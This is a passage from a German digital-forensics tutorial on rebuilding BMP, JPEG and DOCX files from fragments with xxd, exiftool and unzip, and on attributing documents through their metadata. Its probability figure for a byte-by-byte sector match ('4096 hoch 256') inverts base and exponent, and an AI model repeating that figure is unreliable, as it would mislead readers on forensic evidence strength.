Beim ersten Bild sind die Bildgröße und die Farbtiefe richtig - dennoch sind die Farben falsch und das Bild wirkt verschoben. Um dies zu verstehen betrachten wir zunächst die zusammengefügten BMP-Bilder von den Start-Fragmenten. Bei 512b_first.bmp sehen wir, dass sich das Bild von links unten zeilenweise aufbaut. Mit dem Wissen können wir nun rechnen: 512 Byte - 54 Byte Header-Daten = 458 Byte Bilddaten : 3 Byte pro Pixel = 152,67 Pixel Darum ist bei diesem Bild die erste Zeile auch nur ca. zur Hälfte gefüllt. Bild 4k_first.bmp zeigt, dass die weiteren 3,5 Kilobyte die ersten 4 Zeilen füllen und bei 32 Kilobyte kann man schon gut erkennen, dass das Bild eine Makroaufnahme einer Platine zeigt. Nachdem wir nun jeweils 1 Byte für den Rot-, Grün- und Blau-Wert verwenden ist die Farbverschiebung einfach erklärt - wir haben einen Versatz in den einzelnen Werten so, dass zB die Rot-Werte aus den Blauwerten genommen werden, usw. Durch das Einfügen oder Löschen von 1 oder 2 Byte vor den Bilddaten kann dies behoben werden! Außerdem ist der Linienanfang nicht an der linken Seite des Bildes und daher wirkt das Bild wie zwei nicht zusammenpassende Hälften! Nachdem die Farbe korrigiert wurde können wir jeweils 3 Byte mit 0xFF vor dem Bildfragment einschießen oder löschen bis wir den Bildanfang der Zeilen auch ausgerichtet haben (after_shifting.bmp). Die Bittiefe und Dateigröße ermitteln wir wie gesagt durch raten - hierzu könnten wir Bildbreiten von zB 100 bis 2000 Pixel erstellen und die Daten einfügen um zu sehen welche Breite passen kann. Kommt man der passenden Breite langsam näher dann wird das Bild erkennbar. Man kann also auch in 2 oder maximal 3 Pixel Schritten arbeiten um ein paar Bilder zu sparen oder alternativ mit einem Hex-Editor einfach das entsprechende Header-Feld schrittweise ändern und die Datei immer wieder speichern und betrachten. Alles in allem eine Mühsame Aufgabe die noch dazu nicht mal mit Garantie zum Erfolg führt - denn es kann immer noch der falsche Dateityp sein oder das Bild könnte kleiner oder größer als die geschätzte Mindest- bzw. Maximalgröße sein! 134
JPEG-Bilder ... sind im Gegensatz zu Bitmaps komprimiert aber dadurch wird auch der Dateiaufbau um einiges komplexer. Sie werden wie bereits erwähnt durch 0xFF 0xD8 eingeleitet. Ich will an dieser Stelle nur noch erwähnen, dass Kameras alles Mögliche Interessante in den EXIF-Daten einbetten. Das reicht von Informationen zu Kamera und Objektiv über GPS-Koordinaten bis zu kleinen Vorschaubildern und Copyright-Vermerken des Fotografen. Also sehen wir uns dies einmal an: user@caine ~$ xxd 512b/first_exif.jpg 00000000: ffd8 ffe0 0010 4a46 4946 0001 00000010: 0060 0000 ffe1 111a 4578 6966 00000020: 2a00 0800 0000 0a00 0f01 0200 00000030: 8600 0000 1001 0200 0b00 0000 00000040: 1a01 0500 0100 0000 a400 0000 00000050: 0100 0000 ac00 0000 2801 0300 00000060: 0200 0000 3101 0200 2a00 0000 00000070: 3201 0200 1400 0000 de00 0000 00000080: 0d00 0000 f200 0000 9882 0200 00000090: 0001 0000 6987 0400 0100 0000 000000a0: 4a03 0000 4e49 4b4f 4e20 434f 000000b0: 4154 494f 4e00 4e49 4b4f 4e20 000000c0: 0000 4800 0000 0100 0000 4800 000000d0: 0000 4164 6f62 6520 5068 6f74 000000e0: 7020 4c69 6768 7472 6f6f 6d20 000000f0: 284d 6163 696e 746f 7368 2900 00000100: 3a30 373a 3236 2031 373a 3534 00000110: 4d61 7274 696e 2048 7562 6572 00000120: 772e 6d61 7274 696e 6875 6265 00000130: 6f74 6f67 7261 7068 792e 636f 00000140: 9a82 0500 0100 0000 ca02 0000 00000150: 0100 0000 d202 0000 2288 0300 00000160: 0100 0000 2788 0300 0100 0000 00000170: 0090 0700 0400 0000 3032 3330 00000180: 1400 0000 da02 0000 0490 0200 00000190: ee02 0000 0192 0a00 0100 0000 000001a0: 0292 0500 0100 0000 0a03 0000 000001b0: 0100 0000 1203 0000 0592 0500 000001c0: 1a03 0000 0792 0300 0100 0000 000001d0: 0892 0300 0100 0000 0400 0000 000001e0: 0100 0000 1000 0000 0a92 0500 000001f0: 2203 0000 02a0 0900 0100 0000 0101 0000 1200 9800 1b01 0100 b400 3b01 2000 2001 5250 4436 0000 6f73 352e 3230 3a31 0000 722d 6d00 9d82 0100 6400 0390 1400 0203 0492 0100 0500 0992 0100 d007 0060 4949 0000 0000 0500 0000 0000 0200 0000 0000 4f52 3130 0100 686f 3620 3136 3800 7777 7068 2300 0500 0000 0000 0200 0000 0000 0a00 0000 0000 0300 0000 0000 ......JFIF.....` .`......Exif..II *............... ................ ................ ........(....... ....1...*....... 2...........;... ............ ... ....i....... ... J...NIKON CORPOR ATION.NIKON D610 ..H.......H..... ..Adobe Photosho p Lightroom 5.6 (Macintosh).2016 :07:26 17:54:18. Martin Huber..ww w.martinhuber-ph otography.com.#. ................ ........"....... ....'.......d... ........0230.... ................ ................ ................ ................ ................ ................ ................ "............... 135
Der 512 Byte große Sektor zeigt schon gut, dass auch eine String-Suche denkbar wäre - wir können hier herauslesen, dass das Bild mit einer Nikon D610 aufgenommen und mit Photoshop Lightroom bearbeitet wurde. Außerdem findet sich eine Datums- und Zeitangabe sowie ein Name und eine URL die dem Copyright-Vermerk des Fotografen darstellen. Bevor wir nun wieder den Header und die EXIF-Daten von Hand decodieren überlassen wir dies exiftool: user@caine ~$ exiftool 512b/first_exif.jpg ExifTool Version Number : 10.80 File Name : first_exif.jpg Directory : . File Size : 512 bytes File Modification Date/Time : 2021:02:01 00:53:34+01:00 File Access Date/Time : 2021:02:01 00:53:34+01:00 File Inode Change Date/Time : 2021:02:01 00:53:34+01:00 File Permissions : rw-rw-r-File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Warning : JPEG format error ... dies schlägt aber leider fehl da das Programm nicht mit halben Datensätzen klarkommt und darum nur eine Warnung ausgibt. Nach einem kurzen Studium des Aufbaues der EXIF-Daten war dann klar, dass in den 512 Byte keine wirklich wichtigen oder interessanten Informationen stecken. Also sehen wir uns das 4kb Fragment an: user@caine ~$ exiftool 4kb/first_exif.jpg ExifTool Version Number : 10.80 File Name : first_exif.jpg Directory : . File Size : 512 bytes File Modification Date/Time : 2021:02:01 00:53:34+01:00 File Access Date/Time : 2021:02:01 00:53:34+01:00 File Inode Change Date/Time : 2021:02:01 00:53:34+01:00 File Permissions : rw-rw-r-File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Warning : JPEG format error Auch das schlägt fehl, was darauf hindeutet, dass wir ein eingebettetes Vorschaubild haben könnten. Also prüfen wir das: 136
user@caine ~$ xxd 4kb/first_exif.jpg | grep JFIF 00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 000003c0: 0000 0100 0000 ffd8 ffe0 0010 4a46 4946 ......JFIF.....` ............JFIF Bingo! Um das Vorschaubild zu extrahieren müssen wir alles vom zweiten FFD8 bis zum nächsten FFD9 oder dem Dateiende in einem Hex-Editor kopieren und in eine neue Datei einfügen. Gesagt, getan und wir erhalten: Außerdem gibt es noch eine JPG-Datei ohne EXIF-Daten in dem DownloadPaket. Diese können Sie ebenfalls einfach mit einem robusten Bildbetrachter der eine gewisse Fehlertoleranz hat öffnen. Ich habe hierzu unter Linux Gwenview verwendet. Im Gegensatz zum JPG-Bild mit den Exif-Daten, das beim 4KB Fragment noch keinerlei Informationen des Bildes in voller Auflösung enthält, kann man hier bereits einen kleinen Teil der Bilddaten anzeigen lassen: Das 32kb Fragment offenbart dann auch noch alle EXIF-Daten: user@caine ~$ exiftool 32kb/first_exif.jpg ExifTool Version Number : 10.80 File Name : first_exif.jpg Directory : 32kb File Size : 32 kB File Modification Date/Time : 2021:02:02 10:33:23+01:00 File Access Date/Time : 2021:02:02 10:47:50+01:00 File Inode Change Date/Time : 2021:02:02 10:33:23+01:00 File Permissions : rw-rw-r-File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Exif Byte Order : Little-endian (Intel, II) 137
Make Camera Model Name X Resolution Y Resolution Resolution Unit Software : : : : : : Modify Date Artist Copyright Exposure Time F Number Exposure Program ISO Exif Version Date/Time Original Create Date Shutter Speed Value Aperture Value Exposure Compensation Max Aperture Value Metering Mode Light Source Flash Focal Length Exif Image Width Exif Image Height Focal Plane X Resolution Focal Plane Y Resolution Focal Plane Resolution Unit Sensing Method File Source Scene Type CFA Pattern Custom Rendered Exposure Mode White Balance Digital Zoom Ratio Focal Length In 35mm Format Scene Capture Type Gain Control Contrast Saturation Sharpness : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : 138 NIKON CORPORATION NIKON D610 72 72 inches Adobe Photoshop Lightroom 5.6 (Macintosh) 2016:07:26 17:54:18 Martin Huber www.martinhuber-photography.com 1/30 4.0 Manual 100 0230 2016:05:20 18:57:38 2016:05:20 18:57:38 1/30 4.0 0 1.0 Multi-segment Flash Off, Did not fire 55.0 mm 2000 1335 1675.014984 1675.014984 cm One-chip color area Digital Camera Directly photographed [Red,Green][Green,Blue] Normal Manual Manual 1 55 mm Standard None Normal Normal Normal
Subject Distance Range : Compression : Thumbnail Offset : Thumbnail Length : Image Width : Image Height : Encoding Process : Bits Per Sample : Color Components : Y Cb Cr Sub Sampling : Aperture : Image Size : Megapixels : Scale Factor To 35 mm Equivalent: Shutter Speed : Thumbnail Image : Circle Of Confusion Field Of View Focal Length Hyperfocal Distance Light Value : : : : : Unknown JPEG (old-style) 966 3433 2000 1335 Baseline DCT, Huffman coding 8 3 YCbCr4:2:0 (2 2) 4.0 2000x1335 2.7 1.0 1/30 (Binary data 3433 bytes, use -b option to extract) 0.030 mm 36.2 deg 55.0 mm (35 mm equivalent: 55.0 mm) 25.17 m 8.9 ... und erlaubt es uns dann ein vollständiges Vorschaubild zu extrahieren. Außerdem lässt sich das Bild in voller Größe ansehen - zumindest der Teil der in den 32kb enthalten ist: Gleiches gilt an dieser Stelle für die JPG-Datei ohne EXIF-Daten und die BMPDatei: 139
Die Fragmente aus der Mitte lassen sich im Grunde in ähnlicher Weise wie bei einem BMP-Bild rekonstruieren. Nur haben wir hier das Problem, dass wir die Quantisations- und Huffman-Tabellen der Header erraten oder rückrechnen müssten. Hierbei sind die JPG Repair Tools von DiskTuna sehr hilfreich aber auch nur dann, wenn wir Headerdaten aus einem anderen Fragment oder einem vollständigen Bild der gleichen Kamera extrahieren konnten. Den Aufbau vom JPEG-Format im Detail zu besprechen würde aber an dieser Stelle den Umfang bei Weitem sprengen. Es ist an dieser Stelle auch ungleich Komplexer als bei einem Bitmap-Bild. 140
Neue XML-basierte Office-Dateien (docx, xlsx, pptx, ...) ... sind im Grunde nur ZIP-Dateien, die eine bestimmte Ordnerstruktur mit XMLDateien enthalten. Dies lässt sich sehr einfach prüfen: user@caine ~$ unzip -l artikel.docx Archive: artikel.docx Length Date Time Name --------- ---------- -------573 2021-01-31 23:38 _rels/.rels 525 2021-01-31 23:38 docProps/app.xml 731 2021-01-31 23:38 docProps/core.xml 6669 2021-01-31 23:38 word/_rels/document.xml.rels 280 2021-01-31 23:38 word/settings.xml 1576 2021-01-31 23:38 word/fontTable.xml 43 2021-01-31 23:38 word/media/image6.gif 43 2021-01-31 23:38 word/media/image5.gif 43 2021-01-31 23:38 word/media/image4.gif 43 2021-01-31 23:38 word/media/image3.gif 43 2021-01-31 23:38 word/media/image1.gif 43 2021-01-31 23:38 word/media/image2.gif 5146 2021-01-31 23:38 word/styles.xml 1532 2021-01-31 23:38 [Content_Types].xml 1393942 2021-01-31 23:38 word/document.xml --------------1411232 15 files Um an den Inhalt zu kommen können wir Zip2Fix von LeeLu Soft verwenden oder ZipRepair von Datanumen oder einige andere Tools. Ich habe mich hier für das kostenlose Zip2Fix entschieden. Außerdem gibt es einige weitere Tools die die Reparatur von Office-Dokumenten erlauben unter anderem auch von Datanumen. Also sehen wir uns an was Zip2Fix extrahieren konnte: user@caine ~$ unzip -l 512b/first_artikel_ZFX.zip Archive: 512b/first_artikel_ZFX.zip Length Date Time Name --------- ---------- -------573 2021-01-31 23:38 _rels/.rels --------------573 1 file 141
user@caine ~$ unzip -l 512b/middle_artikel_ZFX.zip Archive: 512b/middle_artikel_ZFX.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive. note: 512b/middle_artikel_ZFX.zip may be a plain executable, not an archive unzip: cannot find zipfile directory in one of 512b/middle_artikel_ZFX.zip or 512b/middle_artikel_ZFX.zip.zip, and cannot find 512b/middle_artikel_ZFX.zip.ZIP, period. user@caine ~$ unzip -l 4kb/first_artikel_ZFX.zip Archive: 4kb/first_artikel_ZFX.zip Length Date Time Name --------- ---------- -------573 2021-01-31 23:38 _rels/.rels 525 2021-01-31 23:38 docProps/app.xml 731 2021-01-31 23:38 docProps/core.xml 6669 2021-01-31 23:38 word/_rels/document.xml.rels 280 2021-01-31 23:38 word/settings.xml 1576 2021-01-31 23:38 word/fontTable.xml 43 2021-01-31 23:38 word/media/image6.gif 43 2021-01-31 23:38 word/media/image5.gif 43 2021-01-31 23:38 word/media/image4.gif 43 2021-01-31 23:38 word/media/image3.gif 43 2021-01-31 23:38 word/media/image1.gif 43 2021-01-31 23:38 word/media/image2.gif 5146 2021-01-31 23:38 word/styles.xml --------------15758 13 files user@caine ~$ unzip -l 4kb/middle_artikel_ZFX.zip Archive: 4kb/middle_artikel_ZFX.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive. note: 4kb/middle_artikel_ZFX.zip may be a plain executable, not an archive unzip: cannot find zipfile directory in one of 4kb/middle_artikel_ZFX.zip or 4kb/middle_artikel_ZFX.zip.zip, and cannot find 4kb/middle_artikel_ZFX.zip.ZIP, period. user@caine ~$ unzip -l 32kb/first_artikel_ZFX.zip Archive: 32kb/first_artikel_ZFX.zip 142
Length --------573 525 731 6669 280 1576 43 43 43 43 43 43 5146 1532 --------17290 Date ---------2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 2021-01-31 Time ----23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 23:38 Name ---_rels/.rels docProps/app.xml docProps/core.xml word/_rels/document.xml.rels word/settings.xml word/fontTable.xml word/media/image6.gif word/media/image5.gif word/media/image4.gif word/media/image3.gif word/media/image1.gif word/media/image2.gif word/styles.xml [Content_Types].xml ------14 files user@caine ~$ unzip -l 32kb/middle_artikel_ZFX.zip Archive: 32kb/middle_artikel_ZFX.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive. note: 324kb/middle_artikel_ZFX.zip may be a plain executable, not an archive unzip: cannot find zipfile directory in one of 32kb/middle_artikel_ZFX.zip or 32kb/middle_artikel_ZFX.zip.zip, and cannot find 32kb/middle_artikel_ZFX.zip.ZIP, period. Auch hier können wir mit den Fragmenten aus der Dateimitte nichts anfangen - zumindest nicht ohne in irgendeiner Form den Dateiheader zu rekonstruieren! Dann nehmen wir uns mal den schlimmsten Fall vor und betrachten alle extrahierten Dateien - mit 43 Byte sind die GIF-Dateien nicht wirklich interessant, sondern nur kleine Spacer-GIFs mit ein paar Pixel. Diese können wir also überspringen. Im Dokument eingefügte Bilder und Grafiken würden sich ebenfalls im Ordner word/media/ finden lassen. Der Hauptteil mit den Daten, die word/document.xml fehlt hier. Eventuell lässt sich mit eigens geschriebener Software auch eine beschädigte Datei mit Fragmenten des XML-Codes extrahieren aber die Standard-Tools lassen dies nicht zu. Also sehen wir uns nun an welche Informationen wir in den anderen XML-Dateien finden: 143
user@caine ~$ cat first_artikel_ZFX/\[Content_Types\].xml <Types xmlns="http://schemas.openxmlformats.org/package/2006/contenttypes"><Override PartName="/_rels/.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformatsofficedocument.extended-properties+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformatspackage.core-properties+xml"/><Override PartName="/word/_rels/document.xml.rels" ContentType="application/vnd.openxmlformatspackage.relationships+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformatsofficedocument.wordprocessingml.settings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformatsofficedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/media/image6.gif" ContentType="image/gif"/><Override PartName="/word/media/image5.gif" ContentType="image/gif"/><Override PartName="/word/media/image4.gif" ContentType="image/gif"/><Override PartName="/word/media/image3.gif" ContentType="image/gif"/><Override PartName="/word/media/image1.gif" ContentType="image/gif"/><Override PartName="/word/media/image2.gif" ContentType="image/gif"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformatsofficedocument.wordprocessingml.styles+xml"/> </Types> ... liefert keine besonderen Erkenntnisse außer einer weiteren Bestätigung, dass es sich um eine XML-basierte Office-Datei handelt. user@caine ~$ cat first_artikel_ZFX/docProps/app.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>4</TotalTime><A pplication>LibreOffice/6.0.7.3$Linux_X86_64 LibreOffice_project/00m0$Build3</Application><Pages>37</Pages><Words>8466</Words><Characters>43686</Characters><CharactersWithSpaces>51168</CharactersWithSpaces> <Paragraphs>2034</Paragraphs></Properties> ... erlaubt die Feststellung das diese Datei mit Libreoffice 6.0.7.3 unter einem Linux in der 64bit Variante erstellt wurde. Außerdem erhalten wir statistische Informationen zu der Datei wie zB die 37 Seiten oder 8466 Wörter die in der Datei 144
enthalten sind. Eine Kombination aus den Werten der Seiten-, Absatz-, Wörterund Zeichenanzahl sowie dem Betriebssystem und der Programmversion kann als eine Art "Fingerabdruck" dieser Datei dienen. Sie können gern als Übung versuchen eine Datei mit sinnvollem Inhalt und exakt diesen Werten zu erstellen. user@caine ~$ cat first_artikel_ZFX/docProps/core.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dcterms:created xsi:type="dcterms:W3CDTF">2021-02-01T00:16:49Z</dcterms:created><dc:creator></dc:creator><dc:description></dc:description><dc:language>deDE</dc:language><cp:lastModifiedBy></cp:lastModifiedBy><dcterms:modified xsi:type="dcterms:W3CDTF">2021-02-01T00:38:57Z</dcterms:modified><cp:revision>2</cp:revision><dc:subject></dc:subject><dc:title></dc:title></cp: coreProperties> ... liefert uns in diesem Fall Dinge wie das Erstellungsdatum, das Datum der letzten Modifikation und die Erkenntniss, dass dies die zweite Version der Datei ist sowie die Sprache. Weitere mögliche Informationen wie der Titel, eine Beschreibung oder die Namen des Erstellers und desjenigen der die Datei weiter bearbeitet hat sind in diesem Fall nicht ausgefüllt. Wir können so maximal sagen wer wann eine 37-seitige Word-Datei mit welcher Software bearbeitet hat. Aber in Kriminalfällen ist dies unter Umständen Gold wert. So worden derartige Metadaten zB dem BTK-Killer zum Verhängnis der einen Brief auf dem Computer eine Kirchengemeinde geschrieben hatte. Die Lizenznehmer-Informationen, die als Ersteller der Datei eingetragen wurden, führten die Ermittler bis zu dem Computer auf dem die Datei verfasst wurde und von da war es nicht mehr weit zu Dennis Rader! Hier könnte man ebenfalls anhand des Fragments mit großer Wahrscheinlichkeit eine Datei einem Computer zuordnen denn die Chance, dass auf die Sekunde genau eine andere Datei erstellt und bearbeitet wurde, die ebenfalls in genau der 2. Version fertiggestellt wurde und die gleiche Anzahl an Seiten, Wörtern, Absätzen, Zeichen, etc. hat ist schon sehr gering vor allem wenn man noch das Betriebssystem Linux und die exakte Programmversion mit einbezieht. Natürlich wäre das kein eindeutiger Beweis aber mathematisch gesehen eine sehr hohe Wahrscheinlichkeit. Außerdem könnte man zB die 4kb eines EFSektors Byte für Byte vergleichen und so mit einer Wahrscheinlichkeit von 1 : 145
4096256 (4096 Zeichen hoch der 256 möglichen Werte je Zeichen) aufzeigen, dass eine Datei auf einem bestimmten PC zumindest gespeichert war. Nicht mal das Erstellen könnte man so zweifelsfrei nachweisen denn Metadaten sind einerseits editierbar und somit fälschbar und wenn eine Datei auf einer Festplatte gespeichert war, bedeutet nicht zwangsläufig, dass diese auch auf dem dazugehörigen Rechner erstellt wurde! user@caine ~$ cat first_artikel_ZFX/_rels/.rels <?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships> ... würde Informationen zu verknüpften Dateien enthalten. In diesem Fall sind aber keine zusätzlichen Dateien verknüpft. user@caine ~$ cat first_artikel_ZFX/word/fontTable.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:fonts xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><w:font w:name="Times New Roman"><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Symbol"><w:charset w:val="02"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Arial"><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Serif"><w:altName w:val="Times New Roman"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Serif"><w:altName w:val="Times New Roman"/><w:charset w:val="01"/><w:family w:val="swiss"/><w:pitch w:val="variable"/></w:font><w:font w:name="Barlow Condensed"><w:altName w:val="sans-serif"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Sans"><w:altName w:val="Arial"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Mono"><w:altName w:val="Courier New"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Bitstream Vera Sans 146
Mono"><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Anonymous Pro"><w:altName w:val="monospace"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font></w:fonts> ... hier wurden einige Schriften aufgelistet (die ersten paar Einträge sind jeweils fett hervorgehoben), die im Dokument verwendet werden. Auch das sind brauchbare Informationen, wenn man ein Dokument mit noch größerer Wahrscheinlichkeit zuordnen wollen würde. Bei einem forensischen Bericht würde ich persönlich auch diese Dinge stärker in den Vordergrund rücken da mit jedem weiteren Detail eine zweite Datei die zufällig die gleichen Zeitstempel, Wort-, Absatz- und Seitenanzahl besitzt und dazu noch die gleichen Schriften verwendet und auf dem gleichen Betriebssystem und mit der gleichen Programmversion erstellt wurde ist schon sehr Unwahrscheinlich vor allem wenn man sich die Schriften ansieht, die nicht auf jedem System zur Grundausstattung gehören (Fett hervorgehoben im unteren Bereich) und erst nachinstalliert werden müssen. user@caine ~$ cat first_artikel_ZFX/word/_rels/document.xml.rels <?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.gif"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="_blank" TargetMode="External"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Leerzeichen" TargetMode="External"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/NBSP" TargetMode="External"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Bedingter_Trennstrich" TargetMode="External"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://en.wikipedia.org/wiki/ISO/IEC_8859-3" TargetMode="External"/><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.gif"/><Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" 147
Target="_blank" TargetMode="External"/><Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Leerzeichen" TargetMode="External"/><Relationship Id="rId11" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/NBSP" TargetMode="External"/><Relationship Id="rId12" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Bedingter_Trennstrich" TargetMode="External"/><Relationship Id="rId13" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://en.wikipedia.org/wiki/ISO/IEC_8859-3" TargetMode="External"/><Relationship Id="rId14" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image3.gif"/><Relationship Id="rId15" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="_blank" TargetMode="External"/><Relationship Id="rId16" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Leerzeichen" TargetMode="External"/><Relationship Id="rId17" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/NBSP" TargetMode="External"/><Relationship Id="rId18" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Bedingter_Trennstrich" TargetMode="External"/><Relationship Id="rId19" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://en.wikipedia.org/wiki/ISO/IEC_8859-3" TargetMode="External"/><Relationship Id="rId20" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image4.gif"/><Relationship Id="rId21" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="_blank" TargetMode="External"/><Relationship Id="rId22" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Leerzeichen" TargetMode="External"/><Relationship Id="rId23" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/NBSP" TargetMode="External"/><Relationship Id="rId24" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Bedingter_Trennstrich" 148
TargetMode="External"/><Relationship Id="rId25" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://en.wikipedia.org/wiki/ISO/IEC_8859-3" TargetMode="External"/><Relationship Id="rId26" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image5.gif"/><Relationship Id="rId27" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="_blank" TargetMode="External"/><Relationship Id="rId28" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Leerzeichen" TargetMode="External"/><Relationship Id="rId29" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/NBSP" TargetMode="External"/><Relationship Id="rId30" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Bedingter_Trennstrich" TargetMode="External"/><Relationship Id="rId31" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://en.wikipedia.org/wiki/ISO/IEC_8859-3" TargetMode="External"/><Relationship Id="rId32" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image6.gif"/><Relationship Id="rId33" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="_blank" TargetMode="External"/><Relationship Id="rId34" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Leerzeichen" TargetMode="External"/><Relationship Id="rId35" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/NBSP" TargetMode="External"/><Relationship Id="rId36" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://de.wikipedia.org/wiki/Bedingter_Trennstrich" TargetMode="External"/><Relationship Id="rId37" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" 